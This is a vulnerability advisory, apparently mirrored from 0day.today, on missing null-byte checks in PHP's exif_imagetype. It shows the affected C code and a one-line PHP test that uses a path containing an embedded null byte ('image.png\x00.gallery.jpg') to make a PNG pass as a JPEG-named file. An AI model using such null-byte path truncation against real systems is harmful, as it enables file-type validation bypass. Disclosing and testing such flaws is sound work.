Lucene search
K

PHP 7.1.0 / 5.6.29 missing null byte checks for paths in exif_imagetype Vulnerability

🗓️ 23 Jan 2017 00:00:00Reported by MaksymilianType 
zdt
 zdt
🔗 0day.today👁 19 Views

PHP exif_imagetype path vulnerability with missing null byte chec

Code
Description:
------------
exif_imagetype doesn’t ensure that pathnames lack NULL byte, which might allow attacker to manipulate the file path.

===============================================
Affected code:
PHP_FUNCTION(exif_imagetype)
{
char *imagefile;
size_t imagefile_len;
php_stream * stream;
int itype = 0;

if (zend_parse_parameters(ZEND_NUM_ARGS(), "s", &imagefile, &imagefile_len) == FAILURE) { ⇐== THIS LINE
return;
}
===============================================

Test script:
---------------
<?php
var_dump(exif_imagetype("./image.png\x00.gallery.jpg"));
?>

Expected result:
----------------
expected parameter instead of string

Actual result:
--------------
$ php curl.php
int(3)

Credit: Maksymilian

#  0day.today [2018-04-11]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Jan 2017 00:00Current
7.4High risk
Vulners AI Score7.4
19